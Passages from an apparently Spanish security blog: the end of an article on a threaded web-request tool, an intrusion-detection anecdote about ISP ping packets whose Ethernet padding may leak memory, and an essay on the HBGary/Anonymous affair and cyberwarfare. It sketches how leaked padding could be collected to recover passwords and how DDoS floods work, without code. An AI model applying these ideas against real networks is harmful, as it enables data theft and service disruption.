La clase InputThread se encarga de manejar la interacción con el usuario. Por el momento, escribir la palabra "quit" ocasiona la señal de parada para todos los threads y termina limpiamente. Cualquier otro input simplemente produce la impresión de estadisticas de velocidad, avance y status general del programa. Esta clase se podría mejorar para proveer otras acciones como aumento de threads, disminución de threads, etc. La clase RequestThread se encarga de hacer el trabajo bruto. En el loop "while 1" se ejecuta la tarea que se asigna en la cola request_queue y es necesario manejar todos los casos de respuesta. Para el caso de aplicaciones web, es necesario manejar una situación de éxito, una de fracaso y una de ninguna de las dos. En los comentarios del código hay un poco más de explicación.

Finalmente, a pesar de que este artículo está enfocado a aplicaciones web, no hay ninguna razón por la que estas ideas no se puedan aplicar a otro tipo de aplicaciones. Por supuesto, habrán detalles teóricos que hay que sortear. Pero eso nunca es problema en la práctica. Si estos detalles no los han descubiertos los expertos en seguridad informática, de seguro lo habrán hecho los criminales informáticos. En ambos casos, lo único que hay que hacer es aprender de éstos y adaptar nuestros sistemas.

Cuando tu atacante se ataca a sí mismo.

Los casos en donde atacantes de muy baja sofisticación cometen errores son tan viejos como la Internet misma y adicionalmente son siempre jocosos. Mi favorito es el caso de un individuo que lo convencen de atacar la dirección IP 127.0.0.1 haciendole creer que era la dirección IP de la persona con quien sostenía un altercado por chat IRC. La conversación original sucede en alemán, pero se puede leer una traducción aquí.

Ocasionalmente, mi trabajo en manejo de intrusiones y análisis forense no deja de producir anécdotas inolvidables. Lamentablemente, muchas no pueden ser compartidas por este medio por estar bajo acuerdos de confidencialidad y/o para proteger a los inocentes. Sin embargo, hace unos días recibí una alerta de mi sistema de detección de intrusiones, altamente entonado para hacer investigación de las amenzas del tráfico público de Internet. Esta alerta describía un paquete poco interesante pero de una fuente un poco inusual.

La razón de SNORT (¿Cuál otro IDS podría ser? SNORT rules!) para alertar sobre este evento es entendible. Se trata de un paquete ICMP con un payload de 0 bytes. Esta firma de paquetes es generalmente asociada al PING ICMP de nmap. Nmap es una herramienta muy popular en distintos estratos desde el profesional de la seguridad informática hasta el delincuente del crimen informático organizado, pasando por supuesto por los "script kiddies/junkies" que la abusan sin realmente entender muy bien lo que hacen.

Por lo tanto, usualmente este tipo de eventos es ignorado completamente en mi análisis rutinario. Éste hubiera sido también el caso para este evento de no haber sido por el detalle que la dirección IP de origen pertenece a la subred de servidores de infraestructura de mi proveedor de servicios de Internet (ISP). Uno de los paquetes transgresores se puede ver aquí:

Como es de esperarse de un paquete con un payload de 0 bytes, su tamaño es más pequeño de lo usual. El encabezado ICMP termina en la secuencia 0800 013f d4bf 2201. Si recordamos un poquito la decodificación del protocolo ICMP:

0800 -> Type 8, Code 0 -> ICMP Echo (solicitud de ping)
013f -> Checksum.
d4df -> Identificador del paquete ICMP.
2201 -> Numero de secuencia.

Esto ocupa los 8 bytes de payload del paquete IP creando en efecto un paquete ICMP de 0 bytes de payload. La pregunta inmediata es: ¿A que corresponden esos bytes despues de nuestro encabezado ICMP? Estos bytes estan ocupando la posición que normalmente ocuparia el payload de un ping normal. Un paquete ping normal se ve como sigue:

La diferencia que debe resaltar inmediatamente es la secuencia de simbolos y numeros crecientes del payload del paquete ICMP normal. Esta es una secuencia fija muy distinta a la secuencia con apariencia aleatoria del paquete anterior. En consecuencia decidí analizar el resto de paquete capturados por mi sensor de detección de intrusiones con la esperanza de hallar un patrón:

La falta de patrón no sólo es evidente sino que también la explicación es ahora muy sencilla de elaborar. Primeramente, la razón por la cual hay bytes extras en estos paquetes ICMP ECHO de 0 bytes se debe a que los frames ethernet son de mínimo 64 bytes. Como se puede ver, los paquetes IP fabricados por mi ISP son todos de una longitud de 28 bytes (0x001c), esto es 20 bytes de encabezado IP y 8 bytes de paquete ICMP sin payload. Si además sumamos los 14 bytes del encabezado ethernet y los 4 bytes del trailer ethernet, nos llega la cuenta a 46 bytes. Para llegar a 64 bytes hace falta que el sistema operativo rellene los 18 bytes faltantes. Estos 18 bytes de relleno son los que vemos en nuestros paquetes ICMP misteriosos.

Finalmente, al ver los strings parciales de algunos paquetes: "MENE", "feight", etc la hipótesis que cobra fuerza es una descrita aquí. En resumen, el sistema de mi ISP que esta creando paquetes ICMP con payload de 0 bytes puede estar ex-filtrando (presumimos que no intencionalmente) información al resto de Internet sobre su memoria interna. Esto sucede cuando los drivers de la tarjeta de red fallan en limpiar la memoria antes de rellenar los frames ethernet de tamaño inferior al mínimo permitido. Con suficiente recopilación de paquetes podriamos empezar a hacer profiling de su memoria, y poco a poco recuperar cadenas de caracteres con passwords, nombres de usuario, y todo tipo de información confidencial.

Una vez más el atacante no entrenado termina atacandose a sí mismo.

Los Poderes que nos acechan.

"Las computadoras son las armas y la trinchera no tiene limites"

James Adams, The Next World War. 1998

Muchos tienden a calificar el "Cyber Warfare" como simple prensa amarillista. Sin embargo, la última telenovela de cyber espionaje protagonizada por HBGary Federal y conducida por el grupo de hacktivistas "Anonymous" parece dejar asomar una macabra amenaza global.

Los acontecimientos preliminares comienzan con la negativa de los grandes mercantes de pago virtual, paypal, mastercard, etc de continuar prestando sus servicios a Wikileaks. Esta ruptura de relaciones surge a raíz de la publicación de los famosos cables diplomáticos Norteamericanos, y el anuncio de una futura publicación de documentos internos del Bank of America y otras entidades financieras por parte de Wikileaks. En estos documentos se revelarían supuestas irregularidades que se habrían convertido en la norma en lugar de la excepción para estas organizaciones mercantilistas.

Para el grupo de hacktivistas "Anonymous", este bloqueo económico fue razón suficiente para llamar a una "protesta virtual" en la forma de lo que se conoce técnicamente como un "ataque de denegacion de servicios distribuido". El ataque basicamente consistió en la modificación y distribución de un software cuyo único proposito es el de generar solicitudes a los sistemas de la entidad financiera sin la intención de llevar a cabo ninguna transacción verdadera. En muchas ocasiones, esta sobresaturación de los sistemas informáticos los hace fallar completamente o en el mejor de los casos, hace imposible prestar el servicio de los clientes legítimos. Es el análogo a llamar a muchísimas personas y pedirles hacer una cola en frente de la ventanilla del banco para simplemente al llegar a la ventanilla, no hacer ningún requerimiento, esperar hasta que el cajero nos pida retirarnos y retirarse a formar la cola de nuevo. El resultado es la denegación del servicio para el resto de usuarios en la cola.

Este tipo de ataques no es ni nuevo, ni sofisticado para el mundo virtual, aunque para el mundo real pueda sonar como toda una sensación. Sin embargo, debido al alto perfil de los objetivos (paypal, mastercard, etc), esta "protesta virtual" se convirtió rápidamente en el tema de la prensa alarmista y naturalmente en el sujeto de varias investigaciones del gobierno Norteamericano. Es aquí donde entra la empresa HBGary Federal a la trama de la telenovela.

La empresa HBGary Federal, siendo un jugador pequeño en el mercado de seguridad informática y encontrandose en serios problemas financieros, ve en el grupo de hacktivistas "Anonymous", la oportunidad perfecta para dirigir mayor atención hacia su empresa. Aaron Barr, ex CEO de la empresa se dio a la tarea de "penetrar" el grupo de hacktivistas e intentar revelar las identidades de sus integrantes de "alto rango". Despues de varias semanas de supuesto trabajo de investigación "en cubierto", Aaron Barr anuncia a la prensa hambrienta de sensacionalismo que habia tenido éxito en su incursión en el grupo y que daría a conocer sus resultados en varias importantes conferencias de seguridad informatica de audiencia global. La respuesta del grupo de hacktivistas no se hizo esperar. La respuesta incluyó el sabotaje de varios de los servidores web de HBGary Federal e incluso la usurpación de sus correos electronicos internos, no solo de HBGary Federal, sino tambien de la empresa hermana HBGary.

Pero, ¿Qué tiene que ver toda esta telenovela Norteamericana con nuestra región? Al final, nosotros aquí en latinoamerica estamos acostumbrados a esperar que Hollywood saque la versión de pelicula en pantalla gigante, para nuestra risa y entretenmiento. En este caso: mala idea. Resulta que los correos electronicos de HBGary Federal publicados en la actualidad por una gran cantidad de sitios web nos dejan echar un pequeño vistazo a esa fusión malsana entre las grandes corporaciones y ciertos sectores del gobierno norteamericano. Sería un grave error no aprender temprano de este caso y esperar a la versión de cotufas. La imagen develada no es bonita. Entre las revelaciones de estos emails se encuentran propuestas económicas por parte de HBGary para llevar a cabo todo tipo de servicios de muy dudosa legalidad entre los que se cuentan: desarrollo de virus y malware para espionaje de personas, creación y diseminación de información falsa para desprestigiar e intimidar a los simpatizantes de wikileaks, creación de identidades falsas en redes sociales (facebook, et al) para infiltrar grupos de uniones de trabajdores y un grandísimo etc. Todo esto lo podría llevar a cabo HBGary Federal con total impunidad, debido a que sus clientes serían ciertos sectores gubernamentales.

En particular, por ejemplo, en uno de los emails de HBGary Federal se encuentra un archivo de muy mal gusto. En este documento de la empresa "Endgame Systems, Inc." se hace un estudio de la posibilidad que Venezuela instale misiles nucleares provenientes de Iran con alcance a Estados Unidos. El documento finaliza con una lista de "activos digitales" en las redes Venezolanas, de varias entidades gubernamentales. Esta lista viene acompañada de comentarios sobre vulnerabilidades informáticas encontradas en los sistemas Venezolanos por medio del uso de lo que sería su herramienta de escaneo automatizado. En otras palabras, una suerte de informe de inteligencia con posibles objetivos digitales. Un informe de muy mediocre calidad, hay que reconocerlo, pero que sirve con cierta eficiencia su propósito. A continuación la lista de objetivos identificados por Endgame Systems, Inc:

La lección que considero tan importante como para no esperar a la versión de cinesunidos.com es la siguiente: Nótese como los objetivos examinados no se limitan a entidades de gobierno. En la lista se encuentra una importante organización educativa Venezolana. Verdaderamente la trinchera no tiene limites y cualquier sistema podría convertirse en el blanco en una "Cyber Guerra". Considérese lo siguiente: tradicionalmente en las guerras se destruyen los puentes para evitar el traslado de suministros de comida y municiones. En el mundo de hoy, si alguien quisiera causar desabastecimiento de alimentos a una nacion entera, por ejemplo, bastaría con violentar los sistemas informáticos de las grandes cadenas de mayoristas, distribuidores y hasta supermercados al detal. El desorden y retraso sostenido podría ocasionar no solo pérdidas cuantiosas al gobierno en forma de ayudas y rescates, sino que incluso podría agudizar situaciones de tensión y desestabilización. Adicionalmente, en anteriores artículos hemos visto que nuestros sistemas informáticos financieros tampoco cuentan con una protección adecuada, hasta el punto de permitir ataques de denegación de servicios triviales y fuga de información confidencial.

En terminos criollos, estamos blanditos y viene el lobo. Y ciertamente, contra los poderes que nos acechan, ya no sirven los fusiles ni los tanques. Es hora de despertar de la pelicula mala y adaptarnos a la nueva realidad. Mientras mas pronto, mejor.